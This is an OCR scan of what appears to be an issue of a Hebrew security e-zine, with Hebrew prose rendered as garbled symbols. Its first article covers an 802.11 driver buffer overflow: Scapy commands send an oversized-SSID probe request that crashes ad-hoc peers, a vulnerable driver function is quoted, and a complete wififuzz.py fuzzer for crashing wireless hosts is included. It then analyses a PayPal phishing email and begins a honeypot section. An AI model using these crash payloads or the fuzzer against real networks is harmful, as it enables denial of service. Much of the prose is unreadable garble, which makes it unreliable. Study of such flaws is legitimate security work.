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debian -abc: ~# ifconfig wlan0 up
debian -abc ~# iwconfig wlanO mode monitor
debian - abc: ~# iwpriv wlan0O rfmontx 1

Scapy
g ” DX L4 %] s I o 0« 44 L4 sq4xI¢] ., s Xix s” sqX
x4 11, « | Interpretér-1 * Seapy” * _ p ¥ xs . T {7
debian - abc:~# scapy
Welcome to Scapy (1.0.4.1beta)
>>> |s(Dot11)
subtype : BitField =(0)
type : BitEnumField =(0)
proto : BitField =(0)
FCfield : FlagsField =(0)
ID : ShortField = (0)
addrl  : MACField = ('00:00:00:00:00:00")
addr2  : Dotl1Addr2MACField = ('00:00:00:00:00:00")
addr3  : Dotll1Add r3MACField = ('00:00:00:00:00:00"
SC : LEShortField = (0)
addr4  : Dotl1Addr4MACField = ('00:00:00:00:00:00"

Ax 11 0 Wili BriversxBuffersOyetflow
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TACd g ke AT X e 1T s 8241 £ - S)Potld wis1 4.
O IR S BN 1Yy x L p Y L1 B L x T4 9S4 ] X sl KXy

~ v a

‘Beacon - L 11 S I I T

>>>

frame=Dotl11(addr1='11:11:11:11:11:11",a ddr2="ff:ff:ff:ff:ff:ff',addr3="
11:11:11:11:11:11")/Dot11Beacon()

>>> sendp(frame)

Sent 1 packets.
>>>

LlxsTL XIS v p 4T x  Wireshlrk < s WSS s i £ 4 xs o o

s ] x 7 s, x (X S I X 1
Fle Edit View Go Capture Analyze Statistics Help
= & e BEHdx®E8 Qer»0F L2/NIEEH
E]_Hlter: Ll ok Expression. .. %glear

Ma. . Time Source Destination Protacol Info

1 0, 000000 Broadcast 11:11:11:11:11:11 IEEE 802.11 Beacon fra

- Flags: OxO E‘
Duration: ©

Destination address: 11:11:11:11:11:11 (11:11:11:11:11:11}
Source address: Broadcast (ff:ff:ff:ff:ff:ff)

Bss Id: 11:11:11:11:11:11 §11:11:11:11:11:11) J

Fragment number: @
Sequence number: @
= IEEE 802.11 wireless LAMN management frame

= Fivard maramatarc (17 hutacl :I

0000 80 00 00 00 11 11 11 11 11 11

0010 11 11 11 11 11 11 00 Q8 00 00 00 00 00 00 00 00 ... .00 e,
0020 00 &4 00 00 od.

Source Hardware Address (wlan.sal, 6 bytes | P:1D:1M:00rops: 0 A

$ _,MAG11:11:11:11:12:11¢° *x & | Beaton Y™ _ . s dAdA*4I*xs{ ., 447 s 7 x
S U xS s # X148  x o rBfoddeasts »BSSIB o o X

Ax 711 O Wi briversxBuffersOvetflow
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I x o | XX
Pl 4408 . X ST P B N R TS N RN EIRE P
sanity.c
1. BOOLEAN PeerProb eReqSanity(
2. IN PRTMP_ADAPTER pAd,
3. IN VOID *Msg,
4. IN ULONG MsgLen,
5. OUT PUCHAR pAddr2,
6. OUT CHAR Ssid[],
7. OUT UCHAR *pSsidLen)
8. {
9. UCHAR ldx;
10. UCHAR RatelLen;
11. CHAR leType;
12. PFRAME_802_11 pFrame = (PFRAME_ 802_11)Msg;
13.
14. COPY_MAC_ADDR(pAddr2, pFrame - >Hdr.Addr2);
15.
16. if ((pFrame - >Octet[0] !=IE_SSID) || (pFrame - >Octet[1]
> MAX_LEN_OF_SSID))
17. {
18. DBGPRINT(RT_DEBUG_TRACE, PeerProbeReqSanity fall -
wrong SSID IE(Type=%d,Len=%d) \ n" ,pFrame - >Octet[0], pFrame-
>Qctet[1]);
19. return FALSE;
20. }
21.
22. *pSsidLen = pFrame - >Octet[1];
23. NdisMoveMemory(Ssid, &pFrame - >Octet[2], *pSsidLen);
24.
ADHOC « 0 X v U v b e 7 fe Os s 4G
s « 7 X S 1 x .|

XXX KXy | X X SID v~ Sl Xs ot s {7 1BLS sX 4 X

PO X 4 L« .o X's Lo s “'-X'IVZI:'I..XV”“SV Sk L I,_x~y s . FSS,!Q(]SV" ",,~v X L]
A R EE T T A T N S B N S B
x:? L s "X S L mime.h ¥ s s > "

~ ~ ~ ~

typedef struct PACKED _FRAME_802_11 {
HEADER_802_11 Hdr;

Ax 711 O Wi briversxBuffersOvetflow
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CHAR Octet[1];
} FRAME_802 11, *PFRAME_802_11;

Char v _ o ! xy g6 L x> >*x % 3 qhteger Overflow>x 4" J*,v _ + 4 ¢~ 47 1,
pl X L XS4 s AR8 L A PX N Y AL s As 4 o x T T R x Yy s
SSID~» | « *s L lox ¥,128 .~ L XX il ys ><><,Av,>|1_1s:w X 5 _— b .23 BX S s { s :

rmp_defh, * x « §. U W4 320 I's J xMAX LEN OF. SSID! x ¥y X | ]:x. s

L sahysssys f%,, I x<o VIBB0 S XK (o x 1 s | x Ts
mime.r*+ x 11 1 s¥ _UCHAR Octet]]

typedef struct PACKED _FRAME_802_11 {
HEADER_802_11 Hdr;
UCHAR Octet[1];

} FRAME_802_11, *PFRAME_802_11;

Int-s = x xS x4 ] Xsix s xJ 4. 8 oo x T 8 XY e ]

X XX, A AT DD xS Xex o Iy s X Dstrepy < X« Querflow

s A s x0T e sx Xintdoverflgws 1, w1 1 ¢

socalled s” 1s =« TAsI x> x T ¥ 1 ddvsd 31 axq” 0 o x¢ 17

Windows* X« . ot ¢ 4 x « x 7 7 KernelsMode* «, 6 S5 1.5 4 % A(POCG I~ .1 ]S
. Blue Screen of Dea}iBSOB - -

D A *ADHOC*x t « ¢ % x 7 ( B T O © TR S I N I R AN | Ll x?”
128 1 SSIDY+ ProbeRequest

>>>frame=Dot11(addr1="ff.ff.ff.ff.ff.ff", addr2="5:f5:f5:f5:f5:f5",addr
3="f5:15:f5:f5:f5:f5")/Dot11ProbeReq(" \ 0\ xbc"+0xbc*'a’)
>>> sendp(fr ame)

Sent 1 packets.
>>>

Ax 711 O Wi briversxBuffersOvetflow
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T4« 5 L] Wireshark ' ¥ 7

Fle Edit Wiew Go Capture Analyze Statistics Help

B e BE*x®E Res0FEI[EB
E]_Hlter: LI+§xpressiun... %glaar

Mo. . Time Source Destination Protocol Infa

f5: f5:f5: f5:f5: 5 Broadcast IEEE 802.11 Probe Requ

[*]

[4]

BSs L07 To 1o T To T TS [T To 1o 1o T TS ZI
Fragment number: O
Sequence number: @
= IEEE 802.11 wireless LAMN management frame
= Tagged parameters (190 bytes)

~ S5ID parameter set:
Tag Mumber: 0 (SSID parameter set)
Tag length: 188

Tan internretation: AAAAAAAAAAAAAAAARARAAAAAAAAARAAAAAAAAARAAAAAAAAAAARARAAAAAAAAARA

*

4

Ll

1]

0010 f5 f5 f5 00 0O
ooz GEGE : :

0030
0040
0050

AN K1 |

JP:2D:2M:0Drops: 0

L S L sy x X 41 vpy « xX1 <BSOD S{ L1540 xso 47 x4 oy

a

(X T T XSt LT Y] X kL) e ]

A% X T 4 s X o o e x| s O oox 4T

> ~

(O N S B A W B

11 s v A e s e NI LTSS L S e HTAE X e X
sl LT ¢ = x s M s L xPeach s-S413 .l Cx\xn L F S..X, S S

~ ~ v >~ >

o I Txad i x s s T ¢

>
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(e LS T T e A X e L Tsed T s isoffl | x o

1y S X, XY T s By 4 I s i o, T RUBIF 4 ¢

7« T 41T Ees <X x| Management Sixx 4P T R F oy

v o~ ~

S

L

HI .

X S S A4 1) S T o T R e SV T "k R | R
sl o4 o Ts o s 1 T4 A% 44 (B o J4 1 ] .
11 ] 17 F X~ XX x N T x]e Pigkle s, Xux s Xt o XY L © S
X L X L s vf.“ LY = s .
~1 1Winel@ss*s 4 _ - _ 4% 10 4. ~F+ 41 s 04
sl X s 0 v s S s XN s il x Ll ks x 4 x bl 4.
S X L s y~s‘sjblj’_’>q-|\s L ¥ ]
debian - abc:# py thon2.4 wififuzz.py 10.0.0.138
802.11 Management 4L 00:26:82:41:b2:1f > ff:ff.ff.ff.ff.ff
802.11 Management 3L 00:26:5a:7c:23:41 > 00:26:82:41:b2:1f
802.11 Management 2L 00:26:82:41:b2:1f > 00:26:5a:7¢:23:41
10.0.0.138 Crushed?
debian - abc:# python
Python 2 .5 (release25 - maint, Jul 20 2008, 20:47:25)
[GCC 4.1.2 20061115 (prerelease) (Debian 4.1.1 - 21)] on linux2
Type "help”, "copyright", "credits" or "license" for more information.
>>> import pickle
>>> fp = open("10 - 0- 0- 138.pickle")
>>> pck = pickle.load(fp)
>>> pay_list = pickle.load(fp)
>>> conf.iface="wlan0"
>>> for i in pay_list:
pck.payload.payload=i
sendp(pck)
Sent 1 packets.
éent 1 packets.
éent 1 packets.
10.0.0.138& ¥ " 4 | LT s T AL
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debian - abc:# ping 10.0.0.138

64 bytes from 10.0.0.138: icmp_seq=34 ttl=64 time=0.513 ms

64 bytes from 10.0.0.138: icmp_seq=35 ttl=64 time=0.512 ms

64 bytes from 10.0.0.138: icmp_seq=36 ttI=64 time=0.508 ms

64 bytes from 10.0.0.138: icmp_seq=37 ttI=64 time=0.509 ms

64 bytes from 10.0.0.13 8: icmp_seq=38 ttI=64 time=0.518 ms
ping: sendmsg: Network is unreachable

ping: sendmsg: Network is unreachable

P R U R " R I T T SR L TR AR INIR S IOk FINNE 2 I P L S ML BRI
11
17 X ¥ 448 ys Bl % A b I ux 7 A
L X « Lk 1
P TS . S s Xy

#! /bin/env python

#2010 Jan

# Simple  script for 802.11 Management frames fuzzing.
# Using libs: Scapy,Fusil

#

# Usage

# Jwififuzz.py <hosts to ping>

# Ex:

# Jwififuzz.py 192.168.0.1,192.168.0.4

# output file will be "192.168.0.1.pickle” or/and 192.168.0.4
# The crushing packet will be in "192.168.0.1.pickle"
# Written by AvivB, springsec _{At} _gmail.com

#This program is free software; you can redistribute it and/or modify

# it under the terms of the GNU General Public License as published by

# the Free Software Foundation; either v ersion 2 of the License, or
# (at your option) any later version.

# This program is distributed in the hope that it will be useful,

# but WITHOUT ANY WARRANTY; without even the implied warranty of

# MERCHANABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.

# You should have received a copy of the GNU General Public License

# along with this program; if not, write to the

# Free Software Foundation, Inc.,

# 59 Temple Place - Suite 330, Boston, MA 02111 - 1307, USA.

A x 7 115X TWil brivers*Buffer Overflow
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import sys

import os

import time

import fusil

from fusil.bytes_generator import BytesGenerator,
PRINTABLE_ASCII,ASCIIO

from scapy import *

import getopt, sys

import pickle

lan = "eth0"
wlan = "wlan0" # WLAN adapter

victims=sys.argv[1].split(',")
conf.i face="wlan0"

pkis=[]
output_counter=0

def check_crushed(pck,payloads_list):
conf.iface="eth0"
remove_list=]]
for i in victims:
res =
sr(IP(dst=i)/ICMP(),timeout=30,iface="eth0',verbose=0)
if (len (res[1]) > 0):
# check unanswered
print "%s Crushed?" % i

filename = i.replace(’.",’ - )+'.pickle’

#if ( os.path.isfile(filename) == True):

fp = open(i.replace(’.", - )+'.pickle',"w")
# save the packet

pickle.dump(pck,fp)

pickle.dump(payloads_list,fp)
#pickle.dump(payload_index,fp)
remove_list+=[i]
fp.close()
conf.iface="wlan0"
for iin remove_list:
victims.remove(i)

def gen_and_send(pd,pck,datagen,malformed):
pd_list =]
for i in range(0,50):
pd.info = datagen.createValue()
if not malformed:
pd.len = len(pd.info)
else:
pd.len = fusil.bytes generator.randint(0,255)
sendp(pck,verbose=0 )
#time.sleep(0.001)

Ax 711 O Wi briversxBuffersOvetflow
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pd_list+=[copy.deepcopy(pd)]
check_crushed(pck,pd_list)

def fuzzit(pd,pck):
#print "Start Fuzzing"
s_len = pd.len
s_info = pd.info
datagen = BytesGenerato r(800, 1100, PRINTABLE_ASCII)
# heavy packets
gen_and_send(pd,pck,datagen,0)
datagen = BytesGenerator(800, 1100, ASCII0)
# heavy packets
gen_and_send(pd,pck,datagen,0)
datagen = BytesGe  nerator(1, 255, PRINTABLE_ASCII)
# regualar checks
gen_and_send(pd,pck,datagen,0)
datagen = BytesGenerator(1, 255, ASCIIO0)
# regualar checks
gen_and_send(pd,pck,datagen,0)
datagen = BytesGenerator(1, 255, PRINTABLE_ASCII)
gen_and_send(pd,pck,datagen,1)
# malformed packets
datagen = BytesGenerator(1, 255, ASCIIO0)
gen_and_send(pd,pck,datagen,1)
# malformed packets
pd.l en=s_len
pd.info = s_info

def start_fuzz(pck,junk):
#print pck.summary
start_pd = pck.payload.payload
# first section to fuzz
pd = start_pd
dcopy = copy.deepcopy(pck)
while pd != NoPayload():
pd_save = copy.deepcopy(pd)
fuzzit(pd,pck)
pd = copy.deepcopy(pd_save)
pd = pd.payload

# Managment Fuzzing
while True:
count=0
already in=0
while True:
d = sniff(count=1, iface = "wlanQ")
# Sniff packet
if d[0].type == 0 and d[0].subtype in xrange(0,5) and
d[0].payload.payload != NoPayload() :
# only managment for now
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already in=0
for i in pkts:
if i == d[0].mysummary():
already in=1
if already _in == 0:
print "%s" % (d[0].mysummary())
t=(d[0],None)

pkts.insert(0,copy.deepcopy(d[0].mysummary()))
#thread.start_new_thread(start_fuzz,t)

start_fuzz(d[0],'junk’)
count +=1

FXl 4
CSWIFT o Fds X4 L x 1140 s &% xydSs L. w8 XX
,,)s“lvx“ Z‘+-|%|_’,’,-||_,,“,EG" ,,xxlxv” v,_\ﬂ_lisx‘ X0 =i q s X s x
L, » % S oL XX X o #IE KT EIARN s xS B IR X7y
oooSsX v o A X s b YR e X XD st X s1x L S
s(ox I x AN 4o ¥ X 4 XX 8] kg X T ox s 7§ s ] ] Xoaisx FILYY ] X
sex o Ay .1 c s AT A fxdx]s 4 Xl s s o x T x4 X x
DDos X a1 s BTG BN SR LR I B U Vi DU & BSE PR NN [N
( X ., 7« X 1~ . g d ,,XXXVL'HNN xS A )<s LoX ] 4 s
Cx 4y x T T e X e DX g X 1% x| s X , s Xs‘LT{’_}(ZﬁVJ‘_x "
clxd o TXSTTIOK(L T  T 4 T s ) 54 X1 x T
1o sx_ s gx s 4 7 L, 7] Handshake 144 _cls_ sl x DXy Xooon
SEX v, . 0 AT Ees e A sy L s sy
S~ v .~ L X X xDigitatWhisper<4er Il x4s o L4 s 0 T4 x0T 4Oy
SiLds s DX xqy 1

,S J - X X
J(SNIGhYH L 4% 4, >+
springsec@gmail.com ::x ., : & % < % X Xy I
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> 11337

----- BEGIN PGP PUBLIC KEY BLOCK -----
Version: GnuPG v2.0.14 (MingW32)

MQENBEw83rgBCAC4XRhVD21FM81pC2V0cryyKzGkg+n7bLG+dGx1B6jvIQHdUt8Z
y8pYUREMWGRIWgJIw99XYaihZnh11DIZ9ZiLvhzLohr54gv+KONuvxsw7LCSOHSgJ
[13XdSPXWIBCZ0OZ4qFJ Mrz9cF+ggjzmRdDXHsLB78gDyGgNEMQHCq2WTMi2rhp/F
jssdhHYbuUChMrghq8a/BMMy5LHvH1qlZ/3xfDEfUTEI8qwJOg6qW4fFizxpUvAd
eV3XIX6STP5xN/seA5Sn3Wx38nwlULUhmwO7vjLbscs+X5k3m7FOuHf8XH4uq53N
By7g61h5hgnlyHm3t+tLdZbb7UIDnLHfcNANABEBAAGOHHNwcmIuZyA8c3ByaW5sn
c2VjQGdtYWIsLmN vbT6JATgEEWE CACIFAKw83rgCGWMGCwkIBWMCBhUIAgkKCwQW
AgMBAh4BAheAAA0JED60BaDASLjqtgYH/34luoQbAoRCcAKCQGpP02/8m+u8fOVFSG
JWjT4+GgrdRUVIYZYJoLUR43Yt0x3y6sayF6VswYWSC4lePSnCU6ruhSwXB20Szk
3mBMf+8BnB/OhMEeN4lal+x9gRb1ZF5JWh9fdWYZaBYPuGuS1GPgBJIv2pi2tPiiV
cTlttb478g1  /wk17SxUCQLghrQZgKucEHxZrbbbQ5BZJXf/5¢jFiLSIcWc37/cl0
Tm2pa+tMdtnSrjd4nzpPUAMjdb90eu8vKrfnCOjpgWG1k3rQWyJWLE|DY8PbaxH5
U1lmxRc/NBJloQeGUG+PHMtdTo+I/i0zJfaEFGIRjyxItClweo037Kju5AQOETDze
UAEIANUf6WVJIDfX3ZA0apN8B07d67/C2ngEqQywvwMLt1xdhbL9B3/TkJ/IISStH
B3ASXx2Av3FyW66aVZt/WZnJ+h9vb2D5ehP81eb7JibnjESx1H3ZUsRMw2N9nQSB2
Xbb8n+S9XHj+Ub0pI8doq0IicOGqRIDcXOrfYrdqfgkucelafJCLIGftXn+Rz3bY
TnfHkxSQUY+leial GPkgjAOBTxUkOf8NeEotweYYdDbOPS8bkuz2AZI9BBIi7vRzE
XYXWPEITTWVIKFPwTtfO9/ZTpLJIR/aL0c+rRghM8/pvSINbeApW2tIDb3x7Sm1wS
gO2b/iM24g5rwseKIiETFzgskjHOAEQEAAYKBHWQYAQIACQUCTDzeuAlIbDAAKCRA+
tAWgwPLY6qgImB/sHtnyE4Edzd1Z+MFtRxhPNRz6IPyrlo6Znw4Lxq0/Q46Prtk43
JINOPY07uT1zn+S95EWRkcMVINOXzQSjkRugepjuVQgnix1nfOxFzNUZ3rg9Pmw
y71ZD448mRENOqiSK+GX9sZReHEaV4hcOXAgtlpDUEI6rwLYfgAiohsGGIk4746V
8VKsrW7HQNnOWRIENNKC25/RUzjI0ANUB6496qgMkEa6HMfMxiOlbdrzbQnMJCqLN
gsdréy6lvH+BZvGmObLdcKYO6uejlbnBycK0znsepylFtcOHNudUFe3fnZDQNKji
JclvUfJ1038+g9MJIFIi8/ZSF1ZwtiO20jshf
=dF87
----- END PGP PUBLIC KEY BLOCK-----
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PayPal ~ - w(X* DA UL 7 s I xs

. " X
X ,,\’.vxijsl LS

I A Find
SN S s
*3 et EETE : [ Related -
Reply Reply Forward || Delete Moveto Create Other || Block | potjunk || Follow Markas
to All Folder~ Rule Actions~ || Sender Up~ Unread || < Select™
) (e
Follow up
This message was sent with High importance.
Extra line breaks in this message were removed,
From: service@paypal.com [PayPal] Sent: Fri 7/16/2010 10:02 PM
To:
Cc
Subject: PayPal Flagged Account
I Message | {® PayPal Flagged Account.htm (7 KB} !
-
During our regularly scheduled account maintenance and verification procedure we have detected a slight error in your PayPal I
account.
This might be due to the following reasons: I
1. A recent change in your personal information (ie. change of address, email address)
2. An inability to accurately verify your selected option of payment due to an internal error within our systems.
We have attached a form to this email. Please download the form and follow the instructions on your screen. NOTE: The form
needs to be opened in a modern browser which has javascript enabled (Internet Explorer, Firefox ,Netscape)
Please understand that this is a security measure intended to help protect you and your account.
We apologize for any inconvenience. I
If you choose to ignere our request, you leave us no choice but to temporary suspend your account.
Sincerely, i
PayPal Account Review Department.
Please do not reply to this e-mail. Mail sent to this address are not monitored.
For assistance, log into your PayPal account and choose the "Help” link in the footer of any page.
-
. x | s

’”

X

4. Received: from mx02.3334444.net (10.10.50.250) by HUBCASO1.4hosted.local
(10.10.50.12) with Microsoft SMTP Server (TLS) id 8.1.393.1; Fri, 16
22:05:47 +0300

Jul 2010

Received: from mybox.redx.co.il (81.218.228.46) by mx02.3334444.net (81.218.228.52)

with Microsoft SMTP Server id 8.1.393.1; Fri, 16 Jul 2010 22:05:48 +0300

Received: from sosgraphics.com ([75.77.47.106]) by mybox.redx.c

2010 22:04:30 +0300

o.il ; Fri, 16 Jul

Received: from User ([68.216.158.98] RDNS failed) by sosgraphics.com with Microsoft
SMTPSVC(6.0.3790.4675); Fri, 16 Jul 2010 15:02:24 - 0400

29

x 4L 14y 4! X d v . L = ox
www.DigitalWhisper.co.il

20 110, x ¥1X17 x { (¥

~



Technologic

From: "service@paypal.com" <PayPal>

Importance: high

X- Priority: 1

Date: Fri, 16 Jul 2010 22:02:18 +0300

Subject: PayPal Flagged Account

Thread - Topic: PayPal Flagged Account

Thread - Index: AcslGdphpzVwPeel SRiss2Bw0e3hJQ==

Message - ID: <FP - SERVEREFzotSkrpE000010cbh@sosgraphics.com>

X- MS Exchange - Organization - AuthAs: Anonymou s

X- MS Exchange - Organization - AuthSource: EDGE01.4HOSTED.DMZ

X- MS Has- Attach: yes

X- Message - Flag: Follow up

Reply - By: Sat, 17 Jul 2010 14:00:00 +0300

X- MS TNEF Correlator:

X - originalarrivaltime: 16 Jul 2010 19:02:24.0530 (UTC)

FILETIME=[6D1E3F20:01CB2519]

r eceived - spf: Fail (EDGEO01.4HOSTED.DMZ: domain of PayPal does not designate
81.218.228.46 as permitted sender) receiver=EDGE01.4HOSTED.DMZ; client -
ip=81.218.228.46; helo=mybox.redx.co.il;

x- hmailserver - loopcount: 2

x- hmailserver - spam: YES

x- hmailserver  -reas on- score: 7

X- hmailserver -reason - 2: Rejected by Uceprotect -1l - (Score: b)

X- hmailserver -reason - 1: The host name specified in HELO does not match IP address. -
(Score: 2)

Content - Type: multipart/mixed,;
boundary="_002_FPSERVEREFzotSkrpE000010cbsosgraphicsco m_"
MIME Version: 1.0

11 4. st v AT x s b w L T six Do X s G TALxxD 0 syd Ty T ROX L,
e xbos oo DT Y Tlx s xTFE s 4Dy v HL. e I XX L. s
14 rAxs8 1l 0L “H_ATTX %< s s $7 44X XX oxs o, ox sy
o «) 11! O N T L I x x ", x| .
Dxobox oo Fd1. s e sL1JVxx,‘?LJX~“Vssv_=-|ZVZ,,¢|~ssLZJ-'<IV-|-|Z,]A,_ZA”\LX.|'*
DX CRY XX IV oo v A e s L 1 AsudTeser seax” ] 4 TiIxe s
T L A VT S TS S - NESRN T R 20 S
XL~ X, 0ox ] X1 qL 1,07 x4 X 4 o xRy X
.Received * ~» * x |s 1, x ygxox 14 s 413 _{RFG282L x _ o+ 14 _ X .
Received: from User ([68.216.158.98] RDNS failed) by sosgraphics.com
with Microsoft SMTPSVC(6.0.3790.4675) i
0400
x4 14y 4 DX 4w . L =l x "y L
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Fd 0TS X L Lx 1
X Doxge o AT Gxo x 1os L K1 ss) &Ixe 9. from "N
XX Dl ol o A ST AN CASNE L | TS UL [T T x
oL L DB X e s os T "] s sy X s [Py X ] s
{1 X X CNAT x 2« X, 047 xx 418 T XANATSH L x4 « <« ]
. s, L, X ] sReverse DNS, 0 x x f 4 b, 8 4 X A0 X 44 .Y X 1 x ox
F1D . k. v )AoeyBHMCIBMPY DyBL WEDL X FF AL SRE
(. RDNS = dIRs. @ X x I |
X"|-~ SS,,V“YVXXI]',_Z,XNJXZX‘X ,,|\(Xv~ 'I‘,J::IPVK*QZVS |_'|:vs !
A 4 )% LA~ r 1. tx . GA23a3INILKAOIRO2 Y ¢
Lo s 1 - I RS T XY¥u X 8 " -|Wv-|x"">>< . ] x X RN " P S '
A, B AN S L.y x4 X L ox s i
X, . X ]s T T R T N B R N 2k TR I - ¢ S B
=,v¢s va.|"|>< .|IV S 4 X A Ny 1;-",;|w ¥ T X o X )SJ,.'IvAXVVS Lo s !
LS TR AL S Tl 0 Ly T w s sy kx94T, 8 s
A x <« . ] = x s A {1 y s . L
box L TiAs? T lxs X, 0. { s s(T s "k Received L X b 1 X |
L Coxo b XS IdXI] S oaade Lo s {1y s s i« X s I x s
s I x s s .|Jv =s|L'|V>< SBLL ><=“::-|s;~ xI~X1V.|~VV>s’“VIA3<s:,sNZLx>\I Asv,,XANA L X L

P X v 4s x ¢ s sobgraphics.cemd X S 1” fS X W7 f X, X s,

.PayPal 1 * ~ s {ys
X « 41 > Zx’-|xIAA§AI>§x§><1x0x‘.|A”Ix-|ZXZAX1L.|st . v X | s
« 40X Lreceiveadspf -~ - x I s s.o LoxiscE X X { o P17 x s Fd. s X
x " paypalcem L SPF I x .l ys 4 x L, 14X SE_ 1% _ SPF_s41] *
s ” , ¢Sender Policy FramfeworkSPF+. . _ * = x I xs ] x (s . x  «
v x| THAe % v loe v 10 s ST 0% x4l T oA s ik I ixex s
S b XL WSPFT 4T X
x 7 {s sAIxss Jx:,,,\FxAIsI]1.|11=,,sL DXl X . 4 Xs, AI1 LX q
1x 7" A L 1 I T XX 44 LLxxlixo g, XIx DA Ts v X Foqo
Av 14y 4 4L X Do O xR e X ] X
x4 14y 4 DX e . L TIx
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o x| 1~ v 44 P

a ~

X . 1, «1* . «xls Tl ox x "X R x ¥ -EME 1 A ] CX .

>

1, X . notepad™ X oS e ddx X e T A MIMES T XX x> T .

Y 1 1 . oL =4 JXxos g Xs i I s XD o x st us T ]

T T SN & o I ST X L, ¥ x K gy Xy gx ], Lo

+ PHP = ., ¢ X oo 4 Ttobgh* b X  Weli kX 1x 74 0 cx DT P
~d I RS L gotich() s A x « 7% { ¢ 1 Tlox

XX LMSG (X dox sl x T4 4 x T x pix L Ad ] $ X AMSGIA X XA . X
L : Microsoft © 1 Outlook 1% « L S ExcHarge 1 % . _ I L x S B A S

A >

v X x ] . NMessaging Applicatioh Pregramming InterfacAPl | 4 |

b X s CXd o T X s X rloss e " IMicrosoft’ o 4 Xy X
s oy xxl i4. 0 ol v A47x v A7 AA e Lx pxx os S
FEMSG |, *x « ke X w x4 X 1 x (X
T I O T L N B e R I S S T S S S I T B
Dxlx os x4 8 4lxgs a4 o4 Txy s xS x sy x Ty ] 1,
PR N 1 v L oo X s 1x "4 L Lo FEE XX A XX

s, | x s's

AT X s AMAPL L X XMBGAd dX i Y MFCMARIS 4 <« 4L, v D x L.

, NN
” - ” g - ” .
x X ¢ x " fPdrsonal StoragesTabRET _4x« * « 1 7 ¢~ eSS v S {
MAP}Is . x T 1 X
24 MFCMAPI xB6 Build — !— J— — - — —— J— HE
m—_ oy — — _— ==

File Session AddressBook MDB Profile Dump Property Pane Other TIable

i Property Nama(s]‘ Smart View Value Other Names. Tag Type Valu *
#RE 0:8000001E multipart/mixed; boundary="_002_FPSERVEREFz0... 0x8000001E  PT_STRINGE  cb: €
[1]PR_ACCESS, PidTagAccess, pta.. Flags MAPLA.. 3 0x0FF40003  PT_LONG %]
[1%] PR_ACCESS_LEVEL, PidTagAcce... Flags: MAPI M... 1 0:0FF70003  PT_LONG (258
#RCPR_BODY, PR_BODY_A, ptagBody During our regularly scheduled account mainten...  PR_BODY_W, PidTagBody 0x1000001E  PT_STRINGS  «<b: ]
\3 PR_CLIENT_SUBMIT_TIME, PidT... 07:02:18.000 PM 7/16/2010 0400390040  PT_SYSTIME  Low
% PR_CONVERSATION_INDEX, Pi. Conversation 1. ch: 22 Ipb: 01CB2519DA61 A735703DETEB4918ACE. 0400710102 PT_BINARY %[
HBC PR_CONVERSATION_TOPIC, PR. PayPal Flagged Account PR_CONVERSATION_TOPIC_W, Pi 0x0070001E  PT_STRING8  cb:
\DPRJREAT[DNIIME, PidTagCr... 11:33:24.654 AM 7/19/2010 0x30070040  PT_SYSTIME  Low
HRC PR_DISPLAY_BCC, PR_DISPLAY._... PR_DISPLAY_BCC_W, PidTagDispl... Ox0E02001E PT_STRINGS
HRC PR_DISPLAY_CC, PR_DISPLAY_... PR_DISPLAY_CC_W, PidTagDispla.. O0x0E03001E PT_STRINGS
#RC PR_DISPLAY_TQ, PR_DISPLAY_T... PR_DISPLAY_TO_W, PidTagDispla.. Ox0EO4001E PT_STRINGS
1) PR_FLAG_STATUS, PidTagFlags... Flags: flwupM... 2 010900003  PT_LONG [
[1%] PR_FOLLOWUP_ICON, PidTagF... Flags: olRedFla.. 6 010950003  PT_LONG b
[H]PR_HASATTACH, PidTagHasAt... True 0x0ELBO00E  PT_BOOLEAN
[ PR_IMPORTANCE, PidTaglmpo... Flags: IMPORT.. 2 0400170003  PT_LONG 02
[ PRINTERNET_CPID, PidTaginte... 1251 0x3FDED003  PT_LONG OxdE
HRC PR_INTERNET_MESSAGE_ID, PR.. <FP co.. PRINTERMET_MESSAGE ID_W, Pi... 0x1035001E PT_STRINGE  cb:¢
\D PR_LAST_MODIFICATION_TIME... 11:33:24.654 AM 7/19/2010 0x30080040  PT_SYSTIME  Low
#RC PR_MESSAGE_CLASS, PR_MESS... IPM.Note PR_MESSAGE_CLASS_W, PidTagM... 0x001A001E PT_STRINGE  cb:f
\3 PR_MESSAGE_DELIVERY_TIME, ... 07:05:47.000 PM 7/16/2010 0x0E060040  PT_SYSTIME  Low
[1% PR_MESSAGE_FLAGS, PidTagM... Flags: MSGFLA... 17 0x0E070003  PT_LONG 1
fRC PR_NORMALIZED_SUBJECT, PR... PayPal Flagged Account PR_NORMALIZED_SUBJECT_W, Pi.. 0x0ELDOO1E PT_STRINGE  cb:i
[H] PR_READ_RECEIPT_REQUESTED... False 000290008  PT_BOOLEAN -
< I ] »

Number of Properties: 41 Properties from IMAPIProp:GetProps()
{ e

~ ~ a ~ > ~ ~
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L L 1X . HETRS . B f7 %Y 4.
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A7 4w e s Xx Ds Do o x o oX 0] x4, 17 s
Clients
JAVA JAVA, PROXY PROXY
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Anonymous Prox ies
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HoneyPots

= 'I 'I . : L~ v notom

"Well," said Piglet, "l should do it like this. | should make a Trap, and | should put a Jar of

"Suppose," he said to Piglet, "you wanted to catch me, how would pdtd

in the Trap, and you would smell it, and you would go in after it."
- Winnie The Pooh.

S X B X sy xSt ok X T ox

N O FoL A XL

~

. http:/iwww.safa-ivrit.org-- 1 » * s s sy T x4 1 Xx.
i T o Alsx ] se D oS xs L axsxx D 4w s T Xx s T 4 X
L X ~ix s x [T sHoneypots X ~ X xI] o 7 0 s XN K XX 4s T
s ox X x|, X s L w X T R s T
141« 1 s T X p dpexdad . x0T 0 o x D I A .
lox ], L X 8" " o x £ x5 p Xl XD 4xD DI xoyex N I ]~
{ LvJd s> I s R S L « X IS L X 4 1 X X Lo s 1 " L x
o X q DX oLos Xy S s Tl e Xox (ToX T X Xy XXX e ] s~ F
L X e sx g Ty xS 5y ]
s . I x x 1 xx box Fxo, o qd* s pxx]lpx [l T 1oy ox
= s s | X x x s " X 1 X Iis LoXx lpxq L] ~ od X%y o x]oslox {0«
X L]~ DX oS o xgax s x| oTipx { s
X 4 x 4 x % ¢ X ] 4 L s . X x| s DXl X, et X X e, D s , 4 X
S O e X X X 1
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x| s x I x ] 1
= i .| L x| x | X
X0 i x L. L kAN X LR IS4 x| L Honeypots x £ X
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X e o x o e v o e s e A H AR L X e €
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vy ¥ x ] s Pl X x ]S L q s« Doxolbox oo AI-|V b X s . X
L A R xYy 3 9 d Ll o« Hd S r X7 XY LSt B AR CXoa L
